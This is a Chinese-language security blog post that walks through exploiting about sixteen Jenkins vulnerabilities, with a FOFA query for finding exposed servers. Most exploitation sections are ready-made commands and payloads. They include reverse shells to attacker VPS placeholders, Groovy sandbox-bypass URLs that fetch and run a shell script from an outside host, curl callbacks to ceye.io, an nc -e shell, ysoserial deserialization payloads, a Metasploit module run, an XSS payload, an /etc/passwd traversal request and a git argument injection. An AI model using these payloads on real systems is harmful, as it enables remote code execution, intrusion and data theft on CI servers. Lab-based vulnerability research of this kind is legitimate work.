安全研究 | Jenkins漏洞分析

时间:2022-07-22
本文章向大家介绍安全研究 | Jenkins漏洞分析,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

1、简介

Jenkins 是基于 Java 开发的开源软件项目,主要用于 CI (持续集成)、项目管理等。 Jenkins功能包括:

持续的软件版本发布/测试项目。 监控外部调用执行的工作。

2、服务探测与发现

fofa: app=”Jenkins”

3、CVE-2017-1000353 Jenkins-CI远程代码执行

3.1、漏洞描述

Jenkins未授权远程代码执行漏洞, 允许攻击者将序列化的Java SignedObject对象传输给Jenkins CLI处理,反序列化ObjectInputStream作为Command对象,这将绕过基于黑名单的保护机制, 导致代码执行。

3.2、影响版本

所有Jenkins主版本均受到影响(包括<=2.56版本) 所有Jenkins LTS均受到影响(包括<=2.46.1版本)

3.3、漏洞利⽤

使用Vulhub一键搭建漏洞测试靶场。

访问服务器ip地址加端口,如[http://ip:8080/](http://ip:8080/) 打开浏览器发现环境启动成功如下:

漏洞复现 步骤一、生成序列化字符串 首先下载CVE-2017-1000353-1.1-SNAPSHOT-all.jar,这是生成POC的工具。 下载地址:https://github.com/vulhub/CVE-2017-1000353 然后执行下面命令,生成字节码文件:

java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"

执行上述代码后,生成jenkins_poc.ser文件,这就是序列化字符串。

步骤二、发送数据包,执行命令

exp地址:https://github.com/vulhub/CVE-2017-1000353/blob/master/exploit.py

下载exploit.py,然后使用python3执行python exploit.py [http://your-ip:8080](http://your-ip:8080) jenkins_poc.ser,将刚才生成的字节码文件发送给目标:

进入docker,发现/tmp/success成功被创建,说明命令执行漏洞利用成功:

也可以反弹bash命令:

java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "/bin/bash -i > /dev/tcp/vps_ip/12345 0<&1 2>&1 "

4、CVE-2018-1000861 Jenkins远程代码执行

4.1、漏洞描述

Jenkins使用Stapler框架开发,其允许用户通过URL PATH来调用一次public方法。由于这个过程没有做限制,攻击者可以构造一些特殊的PATH来执行一些敏感的Java方法。

4.2、影响版本

Jenkins Version <= 2.56 Jenkins LTS Version <= 2.46.1

4.3、漏洞利⽤

使用Vulhub一键搭建漏洞测试靶场。 因为此漏洞是没有回显的,所以选择了curl和直接反弹shell进行测试。 一、自定义发送请求,测试漏洞是否存在:

http://目标ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public class x {public x(){"curl http://xxx.ceye.io/CVE-2018-1000861".execute()}}

页面返回空白,响应如下:

二、利用下载文件的方法来反弹shell 1、首先创建文本内容如下,ip和端口填写我们接收shell的机器的ip和端口

bash -i >& /dev/tcp/x.x.x.x/9999 0>&1

2、将文本放置在开启http服务的vps上,替换POC中执行命令的部分为下载文件的命令

curl -o /tmp/1.sh http://x.x.x.x/1.txt

3、替换后的POC:

http://x.x.x.x:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22curl+-o+/tmp/1.sh+http://x.x.x.x/1.txt%22.execute()}}

4、给予下载的脚本执行权限:

http://x.x.x.x:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22chmod+777+/tmp/1.sh%22.execute()}}

5、依次在浏览器打开上述步骤3和4的poc,然后在我们接收shell的机器上监听之前写的端口:

nc -lvvp 9999

6、直接bash执行我们下载的脚本

http://x.x.x.x:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=public%20class%20x%20{public%20x(){%22bash+/tmp/1.sh%22.execute()}}

7、发现已经成功获取到了目标机shell

三、也可以使用一键化POC脚本利用工具:

下载地址: https://github.com/orangetw/awesome-jenkins-rce-2019

5、CVE-2019-1003000 Jenkins远程代码执行

5.1、漏洞描述

该漏洞存在于Declarative Plugin 1.3.4.1之前的版本, Groovy Plugin 2.61.1之前的版本以及Script Security Plugin 1.50之前的版本。该漏洞通过将AST转换注释(如@Grab)应用于源代码元素,可以在脚本编译阶段避免脚本安全沙箱保护。所以会造成具有“Overall/Read”权限的用户或能够控制SCM中的Jenkinsfile或者sandboxed Pipeline共享库内容的用户可以绕过沙盒保护并在Jenkins主服务器上执行任意代码。

5.2、影响版本

Declarative Plugin < 1.3.4.1 Groovy Plugin < 2.61.1 Script Security Plugin < 1.50

5.3、漏洞利⽤

下载环境和利用代码:

git clone https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc.git
cd cve-2019-1003000-jenkins-rce-poc
pipinstall -r requirements.txt
cd sample-vuln
./run.sh

测试发现无法启动成功,因为本地的jenkinsdata文件夹是root权限,而jenkins的权限很小,uid等信息都是1000,所以修改jenkinsdata的权限并删除之前的容器再次运行脚本,即可启动环境。

sudo chown -R 1000:1000 jenkinsdata/

然后进入到docker容器中,并没有发现初始化密码的文件secrets/initialAdminPassword的存在:

使用user1/user1进行登录,并发现已有的job任务my-pipeline已经被创建好

使用poc进行漏洞攻击

python2 exploit.py --url http://目标ip:8080 --job my-pipeline --username user1 --password user1 --cmd "whoami"

反弹shell:

python2 exploit.py --url http://localhost:8080 --job my-pipeline
 --username user1 --password user1 --cmd "bash -i >& /dev/tcp/X.X.X.X/12345 0>&1"

6、CVE-2015-8103 Jenkins远程代码执行

6.1、漏洞描述

1.638之前的Jenkins和1.625.2之前的LTS中的Jenkins CLI子系统,允许远程攻击者通过制作的序列化Java对象执行有问题的commons-collections

6.2、影响版本

Jenkins jenkins<= LTS 1.625.1 Jenkins jenkins<= 1.637

6.3、漏洞利⽤

靶场环境: [https://github.com/Medicean/VulApps/tree/master/j/jenkins/1](https://github.com/Medicean/VulApps/tree/master/j/jenkins/1)

1、拉取镜像到本地并启动

$ docker pull medicean/vulapps:j_jenkins_1
$ docker run -d -p 8080:8080 -p 50000:50000 medicean/vulapps:j_jenkins_1

其中8080为Jenkins web管理端口,50000为Jenkins SLAVE AGENT端口 访问 [http://IP](http://IP)地址:8080/,看到Jenkins Web管理界面即代表启动成功 2、POC利用

$ python2 poc.py http://127.0.0.1:8080/

如果看到如下结果则表示存在该漏洞:

由于该命令执行无回显,使用的是DNSLog的方式来将无回显的命令执行转为有回显,可能会因为网络访问问题造成误漏报。

7、CVE-2016-0788 Jenkins CI和LTS远程代码执行

7.1、漏洞描述

LTS(Long-TermSupport)CloudBeesJenkins的一个长期支持版本。CloudBeesJenkinsCI1.650之前版本和LTS1.642.2之前版本的remoting模块中存在安全漏洞。远程攻击者可通过打开JRMP监听程序利用该漏洞执行任意代码。

7.2、影响版本

Jenkins CI Jenkins 1.409.3 Jenkins CI Jenkins 1.454 Jenkins CI Jenkins 1.452 Jenkins CI Jenkins 1.451 Jenkins CI Jenkins 1.447 Jenkins CI Jenkins 1.446

7.3、漏洞利⽤

首先下载ysoserial编译后生成二进制文件 下载地址:https://github.com/frohoff/ysoserial

java -jar ysoserial.jar CommonsCollections3 "curl http://uxplno.ceye.io/ttaallee" > payload.bin

然后利用脚本发送二进制文件(实际上是十六进制的(<JENKINS REMOTING CAPACITY]>)与其后base64的编码构成):

poc脚本 https://github.com/foxglovesec/JavaUnserializeExploits

运行poc脚本:

python2 jenkins.py x.x.x.x 8080  payload.bin

可以看到运行POC后,ceye后台已经有了目标主机的访问记录。证明该命令已经在远程主机被执行了。

8、CVE-2016-0792 Jenkins XStream反序列化

8.1、漏洞描述

国外网站Contrast Security于2016年2月24日在公开了Jenkins近日修复的一个可通过低权限用户调用API服务致使的命令执行漏洞详情。通过低权限用户构造一个恶意的XML文档发送至服务端接口,使服务端解析时调用API执行外部命令。

8.2、影响版本

jenkins版本小于1.650(1.650版本已修复该问题)

8.3、漏洞利⽤

漏洞利用脚本:

https://github.com/jpiechowka/jenkins-cve-2016-0792

漏洞利用验证成功如下:

也可以使用如下payload反弹目标机shell

exploit('http://192.168.56.101/jenkins/', '/usr/bin/nc -l -p 9999 -e /bin/sh')

9、CVE-2019-1003005 Jenkins远程代码执行

9.1、漏洞描述

Jenkins脚本安全插件1.50及更早版本的src/main/java/org/jenkinsci/plugins/scriptsecurity/sandbox/groovy/SecureGroovyScript.java中存在一个沙盒绕过漏洞,它允许具有“整体/读取”权限的攻击者为其提供Groovy脚本HTTP端点,可导致Jenkins主JVM上的任意代码执行。

9.2、影响版本

Jenkins 2.53 Jenkins 2.122 Jenkins 2.137 Jenkins 2.138 启用匿名读取 Jenkins 2.152 启用匿名读取 Jenkins 2.153 启用匿名读取 Script Security Plugin 1.43 Script Security Plugin 1.48

9.3、漏洞利⽤

使用一键化POC脚本利用工具:

下载地址: https://github.com/orangetw/awesome-jenkins-rce-2019
python2 exp.py http://x.x.x.x:8080/ "curl http://uxplno.ceye.io/`whoami`"

10、CVE-2019-10392 Jenkins 2k19认证远程代码执行

10.1、漏洞描述

Git客户端插件接受用户指定的值作为git ls-remote调用的参数,以验证指定URL处是否存在Git存储库。这种方式允许具有Job/Configure权限的攻击者,以运行Jenkins进程的OS用户的权限在Jenkins主服务器上执行任意系统命令。当以root权限运行Jenkins时,攻击者将会通过攻击得到root权限。

10.2、影响版本

Git client Plugin <= 2.8.4

10.3、漏洞利⽤

使用docker搭建测试环境

docker search jenkins
docker pull jenkins/jenkins
# 映射8080端口
docker run -d -p 8080:8080 -p 50000:50000 jenkins/jenkins
# 访问IP:8080后需要输入密码 进入容器获取密码
docker exec -it 2192a3dc98c0 /bin/bash
jenkins@2192a3dc98c0:/$ cat /var/jenkins_home/secrets/initialAdminPassword

创建一个非管理员用户并在Configure Global Security里给予如图权限

下载漏洞版本插件

http://updates.jenkins-ci.org/download/plugins/git-client/2.8.2/git-client.hpi
http://updates.jenkins-ci.org/download/plugins/git/3.12.0/git.hpi

登录创建的非管理用户 创建一个流水线任务,在连接git仓库处输入payload

 --upload-pack="`ls`"

实际上是一个比较鸡肋的洞,服务器上必须要低版本插件,并且配合弱口令或者未授权才能进入后台利用。 而且后台有个地方能直接执行命令,在[http://ip:port/script](http://ip:port/script)下面有脚本命令行,属于Jenkins正常功能,利用这个功能可以执行系统命令,配合未授权更方便。

11、CVE-2016-9299 Jenkins CLI Ldap Deser

11.1、漏洞描述

2.32之前的Jenkins和2.19.3之前的LTS中的远程处理模块允许远程攻击者通过精心制作的序列化Java对象执行任意代码,从而触发对第三方服务器的LDAP查询。

11.2、影响版本

LTSRelease 2.19.3 之前的所有版本 WeeklyRelease 2.32 之前的所有版本

11.3、漏洞利⽤

msf利用模块

https://github.com/rapid7/metasploit-framework/pull/7815

漏洞复现

  1. 下载 jenkins 2.31(https://updates.jenkins-ci.org/download/war/2.31/jenkins.war)
  2. 安装 jenkins java -jar jenkins.war
  3. 启动 msfconsole
  4. 使用 exploit/linux/misc/jenkins_ldap_deserialize
  5. 设置 RHOST 127.0.0.1
  6. 设置PAYLOAD cmd/unix/generic
  7. 设置 CMD ‘touch/tmp/wtf’
  8. 运行
msf > use exploit/linux/misc/jenkins_ldap_deserialize
msf exploit(jenkins_ldap_deserialize) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf exploit(jenkins_ldap_deserialize) > set PAYLOAD cmd/unix/generic
PAYLOAD => cmd/unix/generic
msf exploit(jenkins_ldap_deserialize) > set CMD 'touch /tmp/wtf'
CMD => touch /tmp/wtf
msf exploit(jenkins_ldap_deserialize) > run
[*] Exploit completed, but no session was created.

利用成功后将会在tmp文件夹下创建wtf文件

12、Jenkins功能未授权访问导致的远程命令执行

12.1、漏洞描述

Jenkins管理登陆之后,后台”系统管理”功能,有个”脚本命令行的”功能,它的作用是执行用于管理或故障探测或诊断的任意脚本命令,利用该功能,可以执行系统命令,该功能实际上Jenkins正常的功能,由于很多管理账号使用了弱口令,或者管理后台存在未授权访问,导致该功能会对Jenkins系统服务器产生比较严重的影响和危害。

12.2、影响版本

属于Jenkins正常的功能

12.3、漏洞利⽤

找到“系统管理”——“脚本命令行”。

在脚本命令行中输入下面的语句,即可执行相应的命令:

println "whoami".execute().text

13、CVE-2019-10475 插件反射型XSS

13.1、漏洞描述

build-metrics该插件会生成一些基本的构建指标,它通常与Jenkins侧边栏链接插件一起使用。该插件提供了该报告机制,所有的用户都可以转到Jenkins主仪表板并根据需要提取报告。漏洞存在build-metrics插件中, 但是只是一个简单的反射型XSS漏洞,该插件无法正确转义标签查询参数。

13.2、影响版本

360 FireLine插件,最高包括1.7.2 Bitbucket OAuth插件,最高包括0.9 Build-metrics插件 1.3及以下 部署WebLogic Plugin 最高至4.1 Dynatrace应用程序监视插件,最高包括2.1.3 Dynatrace应用程序监视插件,最高包括2.1.4 ElasticBox Jenkins Kubernetes CI / CD插件,最高至1.3 包含1.1.4及以下版本的 全局Post Script插件 Libvirt Slaves插件,最高包括1.8.5 截至 2.7.0的 Mattermost Notification插件 Sonar Gerrit插件,最高包括2.3 Zulip插件(包括1.1.0及以下)

13.3、漏洞利⽤

vulnearble插件位于[http://localhost:8080/plugin/build-metrics/](http://localhost:8080/plugin/build-metrics/),漏洞参数为label。 payload如下:

http://192.168.1.75:8080/plugin/build-metrics/getBuildStats?label=<script>alert("CVE-2019-10475")</script>&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter=&nodeFilteringType=ALL&nodeFilter=&launcherFilteringType=ALL&launcherFilter=&causeFilteringType=ALL&causeFilter=&Jenkins-Crumb=4412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96&json=%7B%22label%22%3A+%22Search+Results%22%2C+%22range%22%3A+%222%22%2C+%22rangeUnits%22%3A+%22Weeks%22%2C+%22jobFilteringType%22%3A+%22ALL%22%2C+%22jobNameRegex%22%3A+%22%22%2C+%22jobFilter%22%3A+%22%22%2C+%22nodeFilteringType%22%3A+%22ALL%22%2C+%22nodeNameRegex%22%3A+%22%22%2C+%22nodeFilter%22%3A+%22%22%2C+%22launcherFilteringType%22%3A+%22ALL%22%2C+%22launcherNameRegex%22%3A+%22%22%2C+%22launcherFilter%22%3A+%22%22%2C+%22causeFilteringType%22%3A+%22ALL%22%2C+%22causeNameRegex%22%3A+%22%22%2C+%22causeFilter%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%224412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96%22%7D&Submit=Search

14、CVE-2018-1000110 用户枚举

14.1、漏洞描述

Git Plugin是使用在其中的一个版本控制插件。CloudBees Jenkins Git Plugin 3.7.0及之前版本中的GitStatus.java文件存在安全漏洞。攻击者可利用该漏洞获取节点和用户列表。

14.2、影响版本

CloudBees Jenkins Git Plugin 3.7.0及之前版本

14.3、漏洞利⽤

模糊搜索

http://x.x.x.x:8080/search/?q=a
http://x.x.x.x:8080/search/suggest?query=a
如果git插件小于3.7,也可以使用如下
http://x.x.x.x:8080/git/search/?q=a
http://x.x.x.x:8080/git/search/suggest?query=a

15、CVE-2019-10352 路径遍历任意文件写入

15.1、漏洞描述

CloudBees Jenkins(Hudson Labs)是美国CloudBees公司的一套基于Java开发的持续集成工具。该产品主要用于监控持续的软件版本发布/测试项目和一些定时执行的任务。LTS是CloudBeesJenkins的一个长期支持版本。CloudBees Jenkins 2.185及之前版本、LTS 2.176.1及之前版本中的core/src/main/java/hudson/model/FileParameterValue.java文件存在路径遍历漏洞。该漏洞源于网络系统或产品未能正确地过滤资源或文件路径中的特殊元素。攻击者可利用该漏洞访问受限目录之外的位置。

15.2、影响版本

Jenkins-Ci Jenkins LTS 2.176.2 Jenkins Jenkins 2.186

15.3、漏洞利⽤

首先选择”构建一个自由风格的软件项目“并将其命名为test,然后使用受限制的用户,在配置中选择文件参数

选择Build with Parameters然后构建选择上传图片文件。

选择开始构建就可以将文件写入运行有写入权限的Jenkins的用户的文件系统上的任何位置。

16、CVE-2019-10300 GitLab插件跨站请求伪造

16.1、漏洞描述

GitLab Plugin是使用在其中的一个构建触发器,它允许GitLab在推送代码或创建合并请求时触发Jenkins构建。CloudBees Jenkins GitLab Plugin 1.5.11及之前版本中的GitLabConnectionConfig#doTestConnection表单验证方法存在跨站请求伪造漏洞,该漏洞源于WEB应用未充分验证请求是否来自可信用户。攻击者可利用该漏洞通过受影响客户端向服务器发送非预期的请求。

16.2、影响版本

Jenkins GitLab插件1.5.11

16.3、漏洞利⽤

Jenkins 2.165实例的攻击示例。 需要下载插件:

https://mirrors.tuna.tsinghua.edu.cn/jenkins/plugins/gitlab-plugin/1.5.11/gitlab-plugin.hpi

该实例运行此插件的漏洞版本并配置为允许匿名读取访问。

$ curl -s -X GET -G 
    -d 'url=http://127.0.0.1:7000/?' 
    -d 'clientBuilderId=autodetect' 
    -d 'apiTokenId=532ba431-e25d-4aad-bc74-fb5b2cc03bd7' 
    'http://127.0.0.1:8080/jenkins/descriptorByName/com.dabsquared.gitlabjenkins.connection.GitLabConnectionConfig/testConnection'

插件以HTTP GET形式向远程服务器提交的请求将类似于以下内容:

# First request from Jenkins (GET).
/api/v4/user
Accept: application/json
PRIVATE-TOKEN: ASecretTextEntry
Host: 127.0.0.1:7000
Connection: Keep-Alive

# Second request from Jenkins (GET)
/api/v3/user
Accept: application/json
PRIVATE-TOKEN: ASecretTextEntry
Host: 127.0.0.1:7000
Connection: Keep-Alive

17、CVE-2018-1999002 任意文件读取

17.1、漏洞描述

在Jenkins的Stapler Web框架中存在任意文件读取漏洞。恶意攻击者可以通过发送精心构造的HTTP请求在未经授权的情况下获取Jenkin主进程可以访问的Jenkins文件系统中的任意文件内容。

17.2、影响版本

Jenkins weekly 2.132及此前所有版本 Jenkins LTS 2.121.1及此前所有版本

17.3、漏洞利⽤

可读取Windows系统服务器中的任意文件,且在特定而条件下也可以读取Linux系统服务器中的文件。 请求的url为/plugin/credentials/.ini,则base为空,扩展名(ext变量)即为.ini,然后通过一系列的尝试openURL,在此例中即最后一个情形con = openURL(map(base+'_'+ locale.getLanguage()+ext));,会去请求_../../../../../../../../../../../../windows/win.ini ,尽管目录_..并不存在,但在win下可以直接通过路径穿越来绕过。

在没有登陆(未授权)的情况下,只有当管理员开启了allow anonymous read access的时候,才能实现任意文件读取,否则仍需登陆

Windows下payload:

GET /plugin/credentials/.ini HTTP/1.1
Host: x.x.x.x:8080
Accept: text/javascript, text/html, application/xml, text/xml, */*
X-Prototype-Version: 1.7
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.106 Safari/537.36
Origin: http://x.x.x.x:8080
Referer: http://x.x.x.x:8080/
Accept-Encoding: gzip, deflate
Accept-Language: /../../../../../../../../etc/passwd
Cookie: JSESSIONID.450017e3=x6kdpnkcgllh18wvlaohsqq8z; screenResolution=1920x1080; JSESSIONID.ccf0cd96=node09crp5bs5eglyrv874no3w48l0.node0; JSESSIONID.6551b177=14vcq2nsop6bw1u8urepj65kwv; td_cookie=1608956971
Connection: close

也可以利用该漏洞poc检测工具,进行检测以及对账户密码进行解密:

https://github.com/anntsmart/CVE/blob/master/cve-2018-1999002.py

18、CVE-2019-1003029 Script Security Plugin沙箱绕过

此漏洞和CVE-2019-1003005漏洞同样都是由Script Security插件引起。利用方式和上一致。影响版本在1.55以下。

19、参考资料

https://xz.aliyun.com/t/2486 http://www.hackdig.com/03/hack-76839.htm https://blog.csdn.net/Fly_hps/article/details/82421504 https://www.seebug.org/vuldb/ssvid-97935